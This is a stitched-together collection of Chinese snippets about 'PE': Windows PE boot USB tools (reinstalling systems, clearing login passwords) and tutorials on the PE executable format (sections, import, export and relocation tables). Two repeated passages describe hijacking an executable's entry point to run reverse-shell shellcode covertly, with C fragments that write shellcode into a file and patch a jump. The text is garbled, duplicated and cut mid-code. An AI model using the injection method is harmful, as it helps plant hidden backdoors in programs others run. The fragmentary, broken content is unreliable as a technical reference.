一、概述: 1.名词解释: PE系统一般指windows PE,即windows预安装环境,是在windows内核上构建的具有有限服务的最小win32子系统,它用于安装windows而准备计算机,以便从网络文件服务器复制磁盘映像并启动 2.功能: windows 系统安装 磁盘分区 磁盘、内存检测 手动ghost 系统密码清除 虚拟光驱 3.分类 PE系统可以安装在CD,DVD和U盘等介质中,但因为u盘使用方便且易于携带等,所以大多都是安装在 u盘里(具体优点见下图),所以是u盘pe系统,常见u盘pe系统有电脑店u盘pe系统,大白菜u盘pe系统等等。 二、制作U盘PE系统 准备工作:U盘一个,相关pe系统软件,如电脑店,大白菜 具体步骤:以大白菜u盘pe系统为例 完成上面5步大白菜U盘PE系统即制作完成。 但要想pe系统可以在电脑上实际运行,需要将电脑的系统引导顺序改为U盘优先(台式机一般按del键进入bios界面),然后引导进入PE系统启动界面,就可以放心的安装操作系统,破解密码等等了。
小提示:U盘必须装PE启动系统,才可以进行一下操作步骤 使用U盘重装系统,需自行将所需系统文件复制到U盘内文件夹支持ISO、GHO、WIM、ESD格式的系统文件, ⚠️如果您的电脑支持UEFI启动,则开机后无需任何热键就会直接进入到 U盘PE系统 ⚠️新电脑默认需要调整启动选项<关闭状态>需要手动调整开启, 老电脑英文,重启电脑按F11或者F12进入BIOS设置界面,在“bootoptionmenu”选项下选择“USBHDD”这一项作为首选启动方式 <1>按动快键方法:按下松开,并连续不停的按 <2>选择热键方法:一般电脑都是按F12、Delete、ESC, <3>如以上三个键无效:则需根据不同主板品牌、笔记本品牌、台式机品牌,选择热键,具体参考下表格
ComPE for win是一款Windows PE系统,其背景和作用都与用户在系统维护和安装过程中遇到的痛点密切相关。 当系统无法启动时,用户可以通过ComPE启动盘进入PE环境,使用这些工具对系统进行修复。例如,它可以修复损坏的系统文件、重建引导记录,帮助用户快速恢复系统的正常运行。 用户可以将系统安装文件准备好后,通过ComPE启动盘进入PE环境,直接使用内置的安装器进行系统安装。 强大的病毒和恶意软件清理功能:ComPE可以在系统之外运行,用户可以在PE环境下使用杀毒软件对系统进行全面的扫描和清理。 https://pan.xunlei.com/s/VOYaW4ehGj4ugXIBY2HIBn8oA1?pwd=khut#
前言 我需要一台稳定且能够全天候运行的机器时,电脑原本预装的 Windows 10 系统,虽然在日常使用场景下表现良好,但大家都知道Windows系统的自动更新太频繁了,而且无法关闭。 在本文中,我将使用 PE 盘安装 Windows Server 2022 系统,PE 盘采用的微PE工具制作。 之后进入PE系统界面,选择GCI备份还原工具,系统文件选择刚刚下载的Windows server 2022镜像文件,之后会让你选择具体的Windows Server版本,博主选择是Datacenter版本 之后就是等待系统自行安装好,关机后再开机之前需要先拔下优盘。 pe系统没有截图工具,所以没有图啦,不过操作很简单的。 再之后就是设置Windows Server 2022系统了,后续博主会有文章补充。 参考 微PE工具箱 Windows server 入门
可能这么说大家感觉比较绕,简单来说,PE系统就是用来安装和修复系统的工具系统,最主要的作用就是用来重装系统。 当然PE系统的作用并不是仅仅用来重装系统,还有其他很多作用: 新装的电脑没系统怎么办,用PE可以直接格式化分区并释放镜像; 系统登录密码忘记了怎么办,用PE系统可以清除系统密码; 系统中了病毒没办法启动怎么办 所以如果想要成为一个出色的系统重装大师(误),做一个PE启动盘是必须的。优秀的PE系统有很多,像大白菜、老毛桃、微PE等等都是很老牌的PE系统,但是它们存在一些问题。 这里我们使用U盘模式来制作PE系统。制作PE系统很简单,确认磁盘那里是插入的U盘之后,点击全新制作按钮即可。 ? 功能上两个PE系统和附带软件都相似,所以我这里就用Win10 PE来作为例子。 优启通PE附带了大量系统安装、检测、修复实用工具,打开开始菜单即可看到。
该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。 // 将ShellCode写出到PE程序的特定位置 // 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件 void WritePEShellCode( ; count++; } } } _fcloseall(); // 将单字节合并为双字节 for (int x = 0; x < count / 2; = 0) { sscanf(shellcode + 2 * x, "%02X", &char_in_hex); // 每十六字节换一行输出 if ((x+1 SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN); bool ref = WriteFile(hFile, save, count/2
PE知识复习之PE合并节 一丶简介 根据上一讲.我们为PE新增了一个节. 并且属性了各个成员中的相互配合. 以前我们讲过PE扩大一个节怎么做. 合并节跟扩大节类似. 只不过一个是扩大. 一个是合并了. 合并节的步骤. 1.修改文件头节表个数 2.修改节表中的属性 节.sIzeofRawData 节数据对齐后的大小. 3.修改扩展头中PE镜像大小 SizeofImage 4.被合并的节以 原节表有8个.我们修改为7即可. 2.修改节.SizeofRawData 节数据对齐后的大小. ? 最后一个节表以0填充即可. 3.修改扩展头的PE镜像大小. SizeofImage ? 我们上一讲新增了一个节.所以映像大小为0x1E000.
2.文件系统选择【NTFS】点击【开始】。 3.点击【确定】。 4.格式化完成点击【确定】。 5.鼠标右击【PE工具箱V2.3】压缩包选择【解压到 PE工具箱V2.3】。 10.PE正在制作中……大约需要3分钟 11.制作完成点击【完成安装】。 12.PE系统已经成功安装进U盘此时会看到U盘位为空并且多了一个【EFI】的磁盘。 开始安装系统 安装系统 1.把U盘插到电脑上将下载的【win11】文件夹复制到制作的PE系统U盘里。 2.重启电脑选择电脑从介质U盘启动(由于电脑型号不同同设置方法不同提供以下两种方法。 3.进入PE系统后格式化【系统盘】 ①双击【此电脑】。 ②鼠标右击【C盘】选择【格式化】。 ③点击【开始】。 ④点击【确定】。 ⑤格式化完成点击【确定】。 系统安装完成--------------------------------------------------- 分区篇 1.如果是全新电脑则 没有c盘打开我的电脑如下图 2.我们要进行分区打开分区工具
用PE盘装系统时,在选择包含Windows安装文件的文件夹时,找不到ISO系统镜像映像,如图所示 此时在‘选择包含Windows安装文件的文件夹’选项时,不能鼠标左击,需要右击。。。
PE知识复习之PE新增节 一丶为什么新增节.以及新增节的步骤 例如前几讲.我们的PE文件在空白区可以添加代码.但是这样是由一个弊端的.因为你的空白区节属性可能是只读的不能执行 等等. 1.新增节的步骤 1.在最后一个节位置添加一个节.如果没有空白位置.自己需要给扩展头扩大.并且自己修正节的偏移. 2.修改文件头中节表个数. 3.添加的新节表修改节表的属性 我们新增的节.自己需要在PE文件添加一段节数据.数据的大小按照文件对齐添加. 并且填写到这个成员中. 6.修改扩展头的PE镜像大小. sizeofImage. 2.修改节表个数.在文件头属性中. 文件头中有一个属性记录了我们节表的个数.我们新增了一个节.那么就需要在原有的个数上加1.找到文件头记录节表个数位置.并加一即可. ? 三丶总结 根据上面实战添加节.进行一个总结. 1.一个节表0x28个字节.在最后一个节表位置添加.如果SizeofHeaders 有足够空间的情况下. 2.修改文件头中节表个数.
PE知识复习之PE扩大节 一丶为什么扩大节 上面我们讲了,空白区添加我们的代码.但是有的时候.我们的空白区不够了怎么办.所以需要进行扩大节. 并且在PE文件中添加0数据进行填充即可. 还要修改扩展头中的 SizeofImage(内存PE镜像大小) 三丶扩大节实战 1.添加数据 随便找一个PE文件.在最后文件偏移处添加数据. 2.修改节表属性 因为我们添加了0x1000个字节大小.所以需要修改文件中节表的对齐后的大小. 也就是 节.sizeofRawToData 此时我们没有修改之前. ? 但是注意,修改之后并不能直接查看.因为PE没法运行.我们必须修改扩展头中的sizeofImage属性.这样我们的内存镜像大小才是真正的大小.
该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。 // 将ShellCode写出到PE程序的特定位置// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件void WritePEShellCode(const ++] = ch; count++; } } } _fcloseall(); // 将单字节合并为双字节 for (int x = 0; x < count / 2; = 0) { sscanf(shellcode + 2 * x, "%02X", &char_in_hex); // 每十六字节换一行输出 if ((x+1) % 16 SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN); bool ref = WriteFile(hFile, save, count/2
则下一步就是对内部的变量进行填充,我们可以提取出这些汇编指令的机器码并存储到Code[]数组内,通过对数组中的特定位置进行替换来完善跳转功能,此处我们需要提取如下几个位置的特征字段; 00408001 数组下标第2位替换为 0, 0, 0); HANDLE lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_SHARE_WRITE, 0, 0, 0); // 找到PE "\xb8\x00\x00\x00\x00" "\xff\xe0" }; DWORD dwWrite = 0; // 写入代码节开始位置 *(DWORD *)&Code[2] 0, 0, 0); HANDLE lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_SHARE_WRITE, 0, 0, 0); // 定位PE
PE知识复习之PE的导入表 一丶简介 上一讲讲解了导出表. 也就是一个PE文件给别人使用的时候.导出的函数 函数的地址 函数名称 序号 等等. 一个进程是一组PE文件构成的. PE文件需要依赖那些模块.以及依赖这些模块中的那些函数.这个就是导入表需要做的. 确定PE依赖那个模块. 确定PE依赖的那个函数. 以及确定函数地址. 我们发现在文件中定位导入表的时候都是0,原因是程序加载到内存中.需要用到的时候.操作系统才会往这个地方填写数据. INT的 RVA 为 1A2A8 VA = 41A2A8 ? 41A2A8是INT表开始. 每一个是4个字节,以0结尾. 观看第一项. 高位为0,所以 0x1A48E 是一个RVA. PE加载后INT 表同上. IAT表变成了存储函数地址的地址表了. 2. Name 民称表. 直接指向DLL名称文件名.
PE文件就是我们常说的EXE可执行文件,针对文件特征的识别可以清晰的知道该程序是使用何种编程语言实现的,前提是要有特征库,PE特征识别有多种形式,第一种是静态识别,此方法就是只针对磁盘中文件的特征码字段进行检测来判断编译器版本 打开PE文件映射: 在读取PE结构之前,首先要做的就是打开PE文件到内存,这里打开文件我们使用了CreateFile()函数该函数可以打开文件并返回文件句柄,接着使用CreateFileMapping( 结构,然后判断其是否符合PE文件规范即可,这里需要注意32位于64位PE结构所使用的的结构定义略有不同,代码中已经对其进行了区分. VirusSign[32 + 1]; // 存储特征码大小32,其中的1是结束符. }SIGN, *pSIGN; // 定义特征码与特征描述信息,你可以自己去提取一段特征码 SIGN Sign[2] NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // 我们有两段待检测特征,这里循环两次从零开始 for (int x = 0; x <= 2;
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密 Windows NT 系统中可执行文件使用微软设计的新的文件格式,也就是至今还在使用的PE格式,PE文件的基本结构如下图所示: 在PE文件中,代码,已初始化的数据,资源和重定位信息等数据被按照属性分类放到不同的 PE文件,为了兼容以前的DOS系统,所以保留了DOS的文件格式,接下来将依次介绍这几种数据结构. 读取NT文件头: 第1个函数用于判断是否为可执行文件,第2个函数用于读取PE文件头信息。 = NULL) memcpy(&Hint, szFunction - 2, 2); else Hint = -1;
PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密 Windows NT 系统中可执行文件使用微软设计的新的文件格式,也就是至今还在使用的PE格式,PE文件的基本结构如下图所示:图片在PE文件中,代码,已初始化的数据,资源和重定位信息等数据被按照属性分类放到不同的 ,上面介绍的是真正的PE文件,为了兼容以前的DOS系统,所以保留了DOS的文件格式,接下来将依次介绍这几种数据结构.我们需要编程实现读取PE结构,在读取PE文件中的数据的前提下,我们先来打开文件,然后才能读取 读取NT文件头: 第1个函数用于判断是否为可执行文件,第2个函数用于读取PE文件头信息。 = NULL) memcpy(&Hint, szFunction - 2, 2); else Hint = -1;
PE知识复习之PE的导出表 一丶简介 在说明PE导出表之前.我们要理解.一个PE可执行程序.是由一个文件组成的吗. 答案: 不是.是由很多PE文件组成.DLL也是PE文件.如果我们PE文件运行.那么就需要依赖DLL.系统DLL就是Kerner32.dll user32.dll等等.这些都是PE文件. 什么是导出表: 导出表就是当前的PE文件提供了那些函数.给别人用. 举个例子: PE文件相当于一个饭店.那么菜单就是导出表. 这里我拷贝一下系统的DLL kerner32.dll进行解析. 解析导出表的第一步就是定位导出表.求出FOA. 也就是在文件中的位置. 数据目录中查看导出表RVA ? 例如所有导出函数有2个. 那么函数地址表中就有2项. 没一个占4个字节. 存放的是函数地址的 RVA偏移. ? 函数地址表. 4个字节进行存储. 总共有函数所有导出函数个数大小个字节.
则下一步就是对内部的变量进行填充,我们可以提取出这些汇编指令的机器码并存储到Code[]数组内,通过对数组中的特定位置进行替换来完善跳转功能,此处我们需要提取如下几个位置的特征字段;00408001 数组下标第2位替换为 PAGE_READWRITE, 0, 0, 0); HANDLE lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_SHARE_WRITE, 0, 0, 0); // 找到PE x61" "\xb8\x00\x00\x00\x00" "\xff\xe0" }; DWORD dwWrite = 0; // 写入代码节开始位置 *(DWORD *)&Code[2] PAGE_READWRITE, 0, 0, 0); HANDLE lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_SHARE_WRITE, 0, 0, 0); // 定位PE
PE知识复习之PE的重定位表 一丶何为重定位 重定位的意思就是修正偏移的意思. 如一个地址位 0x401234 ,Imagebase = 0x400000 . 这时候操作系统就会给我们进行修正. 将B DLL 换个内存位置. 进行展开. 这也是为什么很多游戏外挂.等等.都选择DLL注入. 因为系统帮你重定位了各种信息. 代码写在DLL中即可. 但是我们知道.PE文件中有很多RVA .RVA 是相对于ImageBase的偏移进行存放的. 如果PE文件中都是 RVA 那就好办了. 但是不一定呀. 一个重定位表的记录偏移的大小是2个字节,也就是16位. 而记录偏移的大小. 是由 SizeofBlock决定的. 但是我们记录偏移的位置,12位就够了. 高4位.挪作他用. 8个字节(重定位表大小) 下面都是记录了重定位表需要重定位的偏移. 3.偏移是2个字节存储. 12位存储偏移.